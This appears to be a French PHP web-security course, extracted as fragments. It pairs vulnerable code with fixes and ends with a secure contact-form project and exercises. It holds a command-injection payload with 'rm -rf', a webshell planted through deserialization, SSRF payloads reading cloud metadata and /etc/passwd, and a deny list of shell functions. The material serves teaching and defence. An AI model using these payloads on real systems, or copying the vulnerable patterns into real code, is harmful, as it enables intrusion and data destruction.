; php.ini — Configuration sécurisée pour la production ; Masquer les informations sur PHP expose_php = Off ; Désactiver les fonctions dangereuses disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source ; Limiter les chemins d'accès aux fichiers ; open_basedir = /var/www/html:/tmp ; Désactiver l'affichage des erreurs en production display_errors = Off display_startup_errors = Off log_errors = On error_log = /var/log/php/errors.log ; Limiter la taille des uploads upload_max_filesize = 5M post_max_size = 6M max_file_uploads = 5 ; Session security session.cookie_httponly = On session.cookie_secure = On session.use_strict_mode = On session.cookie_samesite = Strict session.gc_maxlifetime = 1800 session.use_only_cookies = On ; Désactiver les URL session (PHPSESSID dans l'URL) session.use_trans_sid = 0 ; Désactiver allow_url_include (empêche RFI) allow_url_include = Off
# .htaccess — Configuration Apache sécurisée # Masquer les informations serveur ServerTokens Prod ServerSignature Off # Désactiver le listing des répertoires Options -Indexes # Interdire l'accès aux fichiers sensibles <FilesMatch "\.(env|sql|log|conf|ini|bak|old|swap|htpasswd)$"> Require all denied </FilesMatch> # Forcer HTTPS RewriteEngine On RewriteCond %{HTTPS} off RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] # Protéger les fichiers cachés (.git, .env, etc.) <FilesMatch "^\."> Require all denied </FilesMatch>
Le clickjacking consiste à superposer une page légitime dans une iframe transparente et à tromper l’utilisateur pour qu’il clique sur des éléments cachés.
<?php // Prévention du clickjacking via en-têtes header("X-Frame-Options: DENY"); // OU via CSP (plus moderne) : header("Content-Security-Policy: frame-ancestors 'none';");
<?php // FAILLES CRITIQUES — Données en dur dans le code $pdo = new PDO('mysql:host=localhost;dbname=prod', 'root', 'MotDePasseAdmin123!'); // Le mot de passe BDD est visible dans le code → dans Git → divulgation define('API_KEY', 'sk-prod-xyz123456789abcdef'); // Clé API en dur → volée si le dépôt Git est public $mailConfig = [ 'smtp_password' => 'PasswordSMTP!', ]; // Idem
# .env — Fichier de configuration (jamais commité) DB_HOST=localhost DB_NAME=bibliotech DB_USER=app_user DB_PASS=MotDePasseComplexe!2024 API_KEY=sk-prod-xyz123456789abcdef MAIL_PASS=PasswordSMTP! APP_ENV=production
# .gitignore — S'assurer que .env n'est JAMAIS commité .env .env.local *.env config/secrets/
<?php // Charger les variables d'environnement depuis .env // (ou directement depuis les variables d'environnement système en production) function chargerEnv(string $fichier): void { if (!file_exists($fichier)) return; foreach (file($fichier, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) as $ligne) { if (str_starts_with(trim($ligne), '#')) continue; // Ignorer les commentaires [$cle, $valeur] = explode('=', $ligne, 2); $cle = trim($cle); $valeur = trim($valeur, " \t\n\r\0\x0B\"'"); if (!array_key_exists($cle, $_ENV)) { putenv("$cle=$valeur"); $_ENV[$cle] = $valeur; } } } chargerEnv(__DIR__ . '/../.env'); $pdo = new PDO( 'mysql:host=' . $_ENV['DB_HOST'] . ';dbname=' . $_ENV['DB_NAME'] . ';charset=utf8mb4', $_ENV['DB_USER'], $_ENV['DB_PASS'], [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION] );
<?php // En développement, PHP affiche les erreurs complètes // Warning: PDOException: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' // Cela révèle : le SGBD, l'utilisateur BDD, le type d'erreur → aide l'attaquant // En production : masquer les erreurs ini_set('display_errors', 0); ini_set('log_errors', 1); ini_set('error_log', '/var/log/php/app_errors.log'); // Gestionnaire d'erreurs centralisé set_exception_handler(function (Throwable $e) { // Journaliser l'erreur complète en interne error_log(sprintf( "[%s] %s dans %s ligne %d\nStack trace:\n%s", date('Y-m-d H:i:s'), $e->getMessage(), $e->getFile(), $e->getLine(), $e->getTraceAsString() )); // Afficher un message générique à l'utilisateur http_response_code(500); include 'pages/erreur_generique.php'; exit; });
<?php // Journalisation de données sensibles error_log("Tentative de connexion: email=$email, password=$password"); // Le mot de passe apparaît dans les logs // Ne jamais journaliser les mots de passe, tokens, numéros de CB error_log("Tentative de connexion: email=$email"); // Masquer partiellement les données sensibles si nécessaire function masquerEmail(string $email): string { [$local, $domain] = explode('@', $email); $local = substr($local, 0, 2) . str_repeat('*', strlen($local) - 2); return $local . '@' . $domain; } error_log("Connexion réussie pour : " . masquerEmail($email)); // Résultat : "Connexion réussie pour : jo***@example.com"
L’élévation de privilèges survient quand un utilisateur peut accéder à des ressources ou actions qui ne lui sont pas autorisées.
<?php // CODE VULNÉRABLE — Accès direct à une ressource par son ID // URL : /facture.php?id=1254 session_start(); $id = $_GET['id'] ?? 0; $stmt = $pdo->prepare("SELECT * FROM factures WHERE id = ?"); $stmt->execute([$id]); $facture = $stmt->fetch(); if ($facture) { // Aucune vérification que cette facture appartient à l'utilisateur connecté afficherFacture($facture); }
En changeant simplement id=1254 en id=1255 dans l’URL, un attaquant peut accéder aux factures de n’importe quel autre client.
id=1254
id=1255
<?php // CORRECTION — Vérification systématique de l'appartenance session_start(); verifierSession(); // L'utilisateur doit être connecté $id = (int) ($_GET['id'] ?? 0); $userId = $_SESSION['user_id']; $stmt = $pdo->prepare( "SELECT * FROM factures WHERE id = ? AND user_id = ?" // ^^^^^^^^^^^ Jointure sur l'utilisateur connecté ); $stmt->execute([$id, $userId]); $facture = $stmt->fetch(); if (!$facture) { // Message générique : ne pas indiquer si la facture existe mais appartient à quelqu'un d'autre http_response_code(404); include 'pages/404.php'; exit; } afficherFacture($facture);
<?php // CODE VULNÉRABLE — Paramètre de rôle dans un formulaire caché // Lors de l'inscription, un champ caché détermine le rôle ?> <form method="POST" action="inscription.php"> <input type="text" name="nom" required> <input type="email" name="email" required> <input type="password" name="password" required> <!-- Un attaquant peut modifier ce champ via les DevTools --> <input type="hidden" name="role" value="user"> <button type="submit">S'inscrire</button> </form>
<?php // Côté serveur : on fait confiance au champ hidden $role = $_POST['role'] ?? 'user'; // ❌ Modifiable par l'attaquant → role=admin $stmt = $pdo->prepare("INSERT INTO users (nom, email, password_hash, role) VALUES (?, ?, ?, ?)"); $stmt->execute([$nom, $email, $hash, $role]); // ❌ Peut créer un compte admin !
<?php // CORRECTION — Le rôle ne vient JAMAIS du client $nom = trim($_POST['nom'] ?? ''); $email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL); $password = $_POST['password'] ?? ''; // Le rôle est défini par le serveur, jamais par le formulaire $role = 'user'; // Valeur par défaut fixée côté serveur $stmt = $pdo->prepare("INSERT INTO users (nom, email, password_hash, role) VALUES (?, ?, ?, ?)"); $stmt->execute([$nom, $email, password_hash($password, PASSWORD_ARGON2ID), $role]);
<?php // Système centralisé de vérification des rôles class Autorisation { public static function exiger(string ...$roles): void { session_start(); if (!isset($_SESSION['user_id'])) { header('Location: /login.php?redirect=' . urlencode($_SERVER['REQUEST_URI'])); exit; } $roleUtilisateur = $_SESSION['user_role'] ?? 'user'; if (!in_array($roleUtilisateur, $roles)) { http_response_code(403); include 'pages/403.php'; exit; } } } // Utilisation en début de chaque page protégée Autorisation::exiger('admin'); // Seul l'admin peut accéder Autorisation::exiger('admin', 'editeur'); // Admin ou éditeur Autorisation::exiger('user', 'admin', 'editeur'); // Tout utilisateur connecté
Toute donnée externe est potentiellement malveillante. Cela inclut :
$_POST
$_GET
$_COOKIE
<?php // Validation robuste des entrées avec filter_var class Validateur { private array $erreurs = []; public function texte(string $champ, string $valeur, int $min = 1, int $max = 255): string { $valeur = trim($valeur); $valeur = strip_tags($valeur); // Supprimer les balises HTML if (strlen($valeur) < $min) { $this->erreurs[$champ] = "Minimum $min caractères requis."; } elseif (strlen($valeur) > $max) { $this->erreurs[$champ] = "Maximum $max caractères autorisés."; } return $valeur; } public function email(string $champ, string $valeur): string { $valeur = filter_var(trim($valeur), FILTER_SANITIZE_EMAIL); if (!filter_var($valeur, FILTER_VALIDATE_EMAIL)) { $this->erreurs[$champ] = "Adresse email invalide."; } return $valeur; } public function entier(string $champ, mixed $valeur, int $min = 0, int $max = PHP_INT_MAX): int { $valeur = filter_var($valeur, FILTER_VALIDATE_INT, [ 'options' => ['min_range' => $min, 'max_range' => $max] ]); if ($valeur === false) { $this->erreurs[$champ] = "Entier entre $min et $max requis."; return 0; } return (int) $valeur; } public function url(string $champ, string $valeur): string { $valeur = filter_var(trim($valeur), FILTER_VALIDATE_URL); if (!$valeur) { $this->erreurs[$champ] = "URL invalide."; return ''; } // Restreindre aux protocoles autorisés if (!in_array(parse_url($valeur, PHP_URL_SCHEME), ['http', 'https'])) { $this->erreurs[$champ] = "Protocole non autorisé."; return ''; } return $valeur; } public function aDesErreurs(): bool { return !empty($this->erreurs); } public function obtenirErreurs(): array { return $this->erreurs; } }
<?php // CODE VULNÉRABLE — Injection de commandes $fichier = $_POST['fichier']; $output = shell_exec("convert uploads/$fichier resized/$fichier"); // Payload : fichier=test.jpg; rm -rf /var/www/html/ // Commande exécutée : convert uploads/test.jpg; rm -rf /var/www/html/ // CORRECTION — Utiliser escapeshellarg() $fichier = basename($_POST['fichier'] ?? ''); // Valider le format du nom de fichier if (!preg_match('/^[a-zA-Z0-9_-]+\.(jpg|png|gif)$/', $fichier)) { die("Nom de fichier invalide."); } // Échapper les arguments de commandes shell $cmd = sprintf( 'convert %s %s', escapeshellarg('uploads/' . $fichier), escapeshellarg('resized/' . $fichier) ); exec($cmd, $output, $returnCode);
<?php // CODE VULNÉRABLE — Désérialisation d'entrées non fiables $donnees = unserialize($_COOKIE['preferences']); // DANGEREUX // La désérialisation de données non fiables peut déclencher // l'exécution de code via des "gadget chains" (PHP Object Injection) // Classe présente dans le code avec __wakeup() ou __destruct() exploitable class FileLogger { public string $fichier = '/dev/null'; public string $contenu = ''; public function __destruct() { file_put_contents($this->fichier, $this->contenu); } } // L'attaquant forge un cookie sérialisé qui crée un FileLogger // avec fichier=/var/www/html/shell.php et contenu=<?php system($_GET['c']); ?> // Lors de la désérialisation → __destruct() → création d'un webshell ! // CORRECTION — Utiliser JSON pour les données utilisateur $donnees = json_decode($_COOKIE['preferences'] ?? '{}', true); // JSON ne peut pas instancier des objets → pas d'exécution de code // Si unserialize() est indispensable, utiliser allowed_classes $donnees = unserialize($donneesFiables, ['allowed_classes' => ['Preferences']]);
<?php // CODE VULNÉRABLE — SSRF // L'application récupère une URL fournie par l'utilisateur $url = $_POST['url'] ?? ''; $contenu = file_get_contents($url); // L'attaquant peut forger des requêtes internes // Payload : url=http://169.254.169.254/latest/meta-data/ (métadonnées AWS) // Payload : url=http://localhost:3306/ (scanner le réseau interne) // Payload : url=file:///etc/passwd (lire des fichiers locaux) // CORRECTION — Validation stricte de l'URL function validerUrlExterne(string $url): bool { if (!filter_var($url, FILTER_VALIDATE_URL)) return false; $scheme = parse_url($url, PHP_URL_SCHEME); if (!in_array($scheme, ['http', 'https'])) return false; $host = parse_url($url, PHP_URL_HOST); // Bloquer les adresses locales et privées $ip = gethostbyname($host); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { return false; // Bloque 127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.x.x, etc. } return true; }
Nous allons construire une mini-application de formulaire de contact sécurisé qui illustre toutes les bonnes pratiques vues dans ce cours. Elle comprend :
projet-securise/ ├── public/ │ ├── index.php ← Front controller (point d'entrée unique) │ ├── .htaccess ← Configuration Apache sécurisée │ └── assets/ │ ├── css/style.css │ └── js/validation.js ├── src/ │ ├── Auth.php ← Authentification et sessions │ ├── Database.php ← Connexion PDO sécurisée │ ├── Csrf.php ← Gestion des tokens CSRF │ ├── Validator.php ← Validation des entrées │ └── Security.php ← En-têtes et helpers de sécurité ├── templates/ │ ├── base.php ← Layout de base │ ├── contact.php ← Formulaire de contact │ ├── admin/ │ │ ├── login.php │ │ └── messages.php │ └── errors/ │ ├── 403.php │ ├── 404.php │ └── 500.php ├── storage/ │ ├── logs/ ← Journaux applicatifs │ └── uploads/ ← Fichiers uploadés (hors public/) ├── .env ← Variables d'environnement (non commité) ├── .env.example ← Template .env (commité) └── .gitignore
<?php declare(strict_types=1); // Charger les variables d'environnement require_once __DIR__ . '/../src/env.php'; chargerEnv(__DIR__ . '/../.env'); // Appliquer les en-têtes de sécurité immédiatement require_once __DIR__ . '/../src/Security.php'; Security::appliquerEntetes(); // Configuration de la session sécurisée Security::configurerSession(); session_start(); // Routage simple $path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $path = rtrim($path, '/') ?: '/'; $routes = [ '/' => 'contact', '/merci' => 'merci', '/admin/login' => 'admin/login', '/admin/messages' => 'admin/messages', '/admin/logout' => 'admin/logout', ]; if (!array_key_exists($path, $routes)) { http_response_code(404); include __DIR__ . '/../templates/errors/404.php'; exit; } $template = $routes[$path]; include __DIR__ . '/../templates/' . $template . '.php';
<?php // src/Security.php declare(strict_types=1); class Security { public static function appliquerEntetes(): void { header("Strict-Transport-Security: max-age=31536000; includeSubDomains"); header("X-Content-Type-Options: nosniff"); header("X-Frame-Options: DENY"); header("X-XSS-Protection: 1; mode=block"); header("Referrer-Policy: strict-origin-when-cross-origin"); header("Permissions-Policy: camera=(), microphone=(), geolocation=()"); header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none'; form-action 'self';"); header_remove("X-Powered-By"); } public static function configurerSession(): void { ini_set('session.use_strict_mode', '1'); ini_set('session.use_only_cookies', '1'); ini_set('session.cookie_httponly', '1'); ini_set('session.cookie_secure', isset($_SERVER['HTTPS']) ? '1' : '0'); ini_set('session.cookie_samesite', 'Strict'); ini_set('session.gc_maxlifetime', '1800'); session_name('SESSID_' . substr(md5($_SERVER['HTTP_HOST'] ?? 'localhost'), 0, 8)); } public static function e(string $valeur): string { return htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8'); } public static function journaliser(string $niveau, string $message, array $contexte = []): void { $logDir = __DIR__ . '/../storage/logs/'; if (!is_dir($logDir)) mkdir($logDir, 0750, true); $ligne = sprintf( "[%s] [%s] [IP:%s] %s %s\n", date('Y-m-d H:i:s'), strtoupper($niveau), $_SERVER['REMOTE_ADDR'] ?? 'CLI', $message, $contexte ? json_encode($contexte) : '' ); // Journaliser dans un fichier rotatif journalier $fichierLog = $logDir . date('Y-m-d') . '_app.log'; file_put_contents($fichierLog, $ligne, FILE_APPEND | LOCK_EX); } }
<?php // templates/contact.php require_once __DIR__ . '/../src/Database.php'; require_once __DIR__ . '/../src/Csrf.php'; require_once __DIR__ . '/../src/Validator.php'; $erreurs = []; $succes = false; $anciennes = []; if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 1. Vérifier le token CSRF $tokenRecu = $_POST['csrf_token'] ?? ''; if (!Csrf::verifier($tokenRecu)) { http_response_code(403); Security::journaliser('warning', 'Token CSRF invalide', ['ip' => $_SERVER['REMOTE_ADDR']]); die('Requête invalide.'); } // 2. Valider les entrées $v = new Validateur(); $nom = $v->texte('nom', $_POST['nom'] ?? '', 2, 100); $email= $v->email('email', $_POST['email'] ?? ''); $sujet= $v->texte('sujet', $_POST['sujet'] ?? '', 5, 200); $msg = $v->texte('message', $_POST['message'] ?? '', 10, 2000); // 3. Honeypot anti-spam if (!empty($_POST['website'])) { // Champ invisible rempli par un bot → ignorer silencieusement Security::journaliser('info', 'Honeypot déclenché'); $succes = true; // Simuler un succès pour ne pas alerter le bot } elseif ($v->aDesErreurs()) { $erreurs = $v->obtenirErreurs(); $anciennes = $_POST; } else { // 4. Stocker en BDD avec requête préparée $pdo = Database::connexion(); $stmt = $pdo->prepare( "INSERT INTO contacts (nom, email, sujet, message, ip_source, created_at) VALUES (?, ?, ?, ?, ?, NOW())" ); $stmt->execute([$nom, $email, $sujet, $msg, $_SERVER['REMOTE_ADDR']]); Security::journaliser('info', 'Nouveau contact', ['email' => Security::masquerEmail($email)]); $succes = true; } } $csrfToken = Csrf::generer(); include __DIR__ . '/base.php'; // Layout de base avec en-têtes HTML ?> <?php if ($succes): ?> <div class="alert alert-success"> Votre message a bien été envoyé. Nous vous répondrons dans les plus brefs délais. </div> <?php else: ?> <div class="card shadow-sm"> <div class="card-header bg-primary text-white"><h2 class="mb-0">📬 Nous contacter</h2></div> <div class="card-body p-4"> <form method="POST" action="/" novalidate> <!-- Token CSRF caché --> <input type="hidden" name="csrf_token" value="<?= Security::e($csrfToken) ?>"> <!-- Honeypot : champ invisible pour les bots --> <div style="display:none" aria-hidden="true"> <input type="text" name="website" tabindex="-1" autocomplete="off"> </div> <div class="mb-3"> <label for="nom" class="form-label">Nom <span class="text-danger">*</span></label> <input type="text" id="nom" name="nom" class="form-control <?= isset($erreurs['nom']) ? 'is-invalid' : '' ?>" value="<?= Security::e($anciennes['nom'] ?? '') ?>" minlength="2" maxlength="100" required autocomplete="name"> <?php if (isset($erreurs['nom'])): ?> <div class="invalid-feedback"><?= Security::e($erreurs['nom']) ?></div> <?php endif; ?> </div> <div class="mb-3"> <label for="email" class="form-label">Email <span class="text-danger">*</span></label> <input type="email" id="email" name="email" class="form-control <?= isset($erreurs['email']) ? 'is-invalid' : '' ?>" value="<?= Security::e($anciennes['email'] ?? '') ?>" maxlength="254" required autocomplete="email"> <?php if (isset($erreurs['email'])): ?> <div class="invalid-feedback"><?= Security::e($erreurs['email']) ?></div> <?php endif; ?> </div> <div class="mb-3"> <label for="sujet" class="form-label">Sujet <span class="text-danger">*</span></label> <input type="text" id="sujet" name="sujet" class="form-control <?= isset($erreurs['sujet']) ? 'is-invalid' : '' ?>" value="<?= Security::e($anciennes['sujet'] ?? '') ?>" minlength="5" maxlength="200" required> <?php if (isset($erreurs['sujet'])): ?> <div class="invalid-feedback"><?= Security::e($erreurs['sujet']) ?></div> <?php endif; ?> </div> <div class="mb-3"> <label for="message" class="form-label">Message <span class="text-danger">*</span></label> <textarea id="message" name="message" class="form-control <?= isset($erreurs['message']) ? 'is-invalid' : '' ?>" rows="5" minlength="10" maxlength="2000" required><?= Security::e($anciennes['message'] ?? '') ?></textarea> <?php if (isset($erreurs['message'])): ?> <div class="invalid-feedback"><?= Security::e($erreurs['message']) ?></div> <?php endif; ?> </div> <button type="submit" class="btn btn-primary">Envoyer le message</button> </form> </div> </div> <?php endif; ?>
<?php // templates/admin/messages.php require_once __DIR__ . '/../../src/Auth.php'; // Page accessible uniquement aux administrateurs Auth::exigerRole('admin'); $pdo = Database::connexion(); $messages = $pdo->query("SELECT * FROM contacts ORDER BY created_at DESC LIMIT 50")->fetchAll(); ?> <h1>Messages reçus</h1> <table class="table table-striped"> <thead><tr><th>Date</th><th>Nom</th><th>Email</th><th>Sujet</th><th>IP</th></tr></thead> <tbody> <?php foreach ($messages as $m): ?> <tr> <!-- Échappement systématique à l'affichage --> <td><?= Security::e($m['created_at']) ?></td> <td><?= Security::e($m['nom']) ?></td> <td><?= Security::e($m['email']) ?></td> <td><?= Security::e($m['sujet']) ?></td> <td><?= Security::e($m['ip_source']) ?></td> </tr> <?php endforeach; ?> </tbody> </table>
Exercice 1 — Injection SQL
Installez DVWA (Damn Vulnerable Web Application) en local :
# Via Docker docker run --rm -it -p 80:80 vulnerables/web-dvwa # Accessible sur http://localhost/login.php # admin / password
users
Exercice 2 — XSS
document.cookie
htmlspecialchars()
Exercice 3 — Sécurisation d’un formulaire d’inscription
Partez de ce code vulnérable et sécurisez-le complètement :
<?php // Code de départ (à corriger) $nom = $_POST['nom']; $email = $_POST['email']; $password = $_POST['password']; $role = $_POST['role']; $pdo = new PDO('mysql:host=localhost;dbname=test', 'root', ''); $sql = "INSERT INTO users (nom, email, password, role) VALUES ('$nom', '$email', '$password', '$role')"; $pdo->exec($sql); echo "Bienvenue $nom";
Vous devez ajouter : requêtes préparées, hachage du mot de passe, validation des entrées, protection CSRF, rôle fixé côté serveur, en-têtes de sécurité.
Exercice 4 — Audit de sécurité
Auditez l’application BiblioTech créée dans le cours Symfony précédent. Pour chaque faille potentielle identifiée dans ce cours, documentez :
Exercice 5 — Rapport de test d’intrusion
En binôme : l’un développe une petite application PHP volontairement vulnérable, l’autre tente de l’attaquer (en environnement local uniquement) et rédige un rapport de pentest avec :
Exercice 6 — Implémenter l’authentification à deux facteurs (2FA)
Ajoutez une authentification TOTP (Time-based One-Time Password) à l’application fil rouge :
composer require spomky-labs/otphp
Injection et validation
ATTR_EMULATE_PREPARES = false
XSS
innerHTML
CSRF
Authentification et sessions
session_regenerate_id(true)
Fichiers
finfo
Configuration
display_errors = Off
expose_php = Off
.env
.gitignore
Contrôle d’accès
Personnellement, j’utilise beaucoup OWASP ZAP.